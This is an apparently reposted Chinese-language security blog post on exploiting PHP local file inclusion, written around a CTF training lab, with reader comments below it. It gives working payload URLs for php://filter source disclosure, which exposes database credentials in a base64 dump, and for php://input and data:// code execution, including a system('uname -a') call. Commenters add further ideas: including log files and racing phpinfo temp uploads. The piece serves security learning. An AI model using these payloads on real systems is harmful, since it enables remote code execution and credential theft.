php LFI读php文件源码以及直接post webshell
感谢 @w1ngs 把内容贴出来,劳动成果是他的。
最近在忙defcon的题目集训 其中有一套题目里 有个老外写的writeup中提到了LFI的另一种小技巧
原文请参考 http://ddxhunter.wordpress.com/2010/03/10/lfis-exploitation-techniques/
PS: 该技巧并不是新的技术 神牛肯定已经用得觉得无聊了 所以当路过就行了 =_,=~
我等小菜仅仅当做自己知识的补充~ (默默蹲墙角ing~)
假设如下一个场景
(1) http://vulnerable/fileincl/example1.php?page=intro.php(该php文件包含LFI漏洞)
(2) 但是你没有地方可以upload你的webshell代码
(3) LFI只能读取到非php文件的源码(因为无法解析执行 只能被爆菊花)
(4) 如果你能读取到config.php之类文件 或许可以直接拿到数据库账号远程入侵进去
【现在的问题是】 LFI如何读取到php文件的源码?
http://vulnerable/fileincl/example1.php?page=../sqli/db.php
但是如果我用老外文章里说提到的方法 就能把指定php文件的源码以base64方式编码并被显示出来
http://vulnerable/fileincl/example1.php?page=php://filter/read=convert.base64-encode/resource=../sqli/db.php
/sqli/db.php源码base64编码后的内容显示如下
PD9waHAgCiAgJGxuayA9IG15c3FsX2Nvbm5lY3QoImxvY2FsaG9zdCIsICJwZW50ZXN0ZXJsYWIiLCAicGVudGVzdGVybGFiIik7CiAgJGRiID0gbXlzcWxfc2VsZWN0X2RiKCdleGVyY2lzZXMnLCAkbG5rKTsKPz4K
看上去好像很厉害的样子...... 但是 =_,=||~ 再继续看下文~
******************* 我是邪恶的分割线 *******************
被 @扣子牛 bs了一番 又学到新的小技巧
【技巧】php://input 和 data:
php://input 详情可以参考
http://zerofreak.blogspot.jp/2012/04/lfi-exploitation-via-phpinput-shelling.html
【条件】在allow_url_include = On 且 PHP >= 5.2.0
【优势】直接POST php代码并执行
【鸡肋】在allow_url_include = On 传说中就可以直接RFI了 不过没有vps的童鞋可以这样玩比较方便
在上面提到的同一个LFI漏洞点 我们又要来爆它一次菊花
http://vulnerable/fileincl/example1.php?page=intro.php
http://vulnerable/fileincl/example1.php?page=php://input
然后某君再一次被爆菊 >_<!~ (对不起~)
再换几种姿势继续 data: 的方式
http://vulnerable/fileincl/example1.php?page=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo=
http://vulnerable/fileincl/example1.php?page=data:;base64,PD9waHBpbmZvKCk7Lyo=
http://vulnerable/fileincl/example1.php?page=data:text/plain,<?php system("uname -a");?>
剩下的大家再继续YY吧~
由于时间关系 我也木有时间去深入了解其原理
为了Hacker精神建议大家去深入研究下 >_<!~
评论18次
java会不会出这种洞?
这必须有一定的条件吧
收下了,很不错
学xi了。技巧。
如果只是本地包含的,该如何深入利用呢? 比如这种 $ddd="/ddd/".$_POST['ddd'].".txt" 现在linux 的PHP5.2.17以上的截断漏洞基本没有了,被修复了,蛋疼
又学到新东西了
收下 收下~~
我有个站,你帮我分析下?
我日 好详细,顶一个
我就经常include一个变量,但是我在前面会有一个in_array()判断下,我一直觉得这样没什么问题,哈哈
现实情况下,直接include一个变量的可能性有吗? 估计日100个站遇不到一个。 不过还是赞一下:白帽子们v5……
这个必须是Include($_GET[a])才能成功吧 不能前面有规定路径 不然就给跪了 ,其实Linux可以尝试包含环境变量和日志文件,还有就是Php的一个默认接受任意文件上传的开关 找到phpinfo页面 给他上传文件 然后抓取零时文件地址 结合lfi包含即可 有个python的自动化脚本的
博主又出名了。
不错,好文!
不错。。。。
不错的文章啊。
博主又出名了。
呵呵,收下、、、、、、、、、、、、、、、、、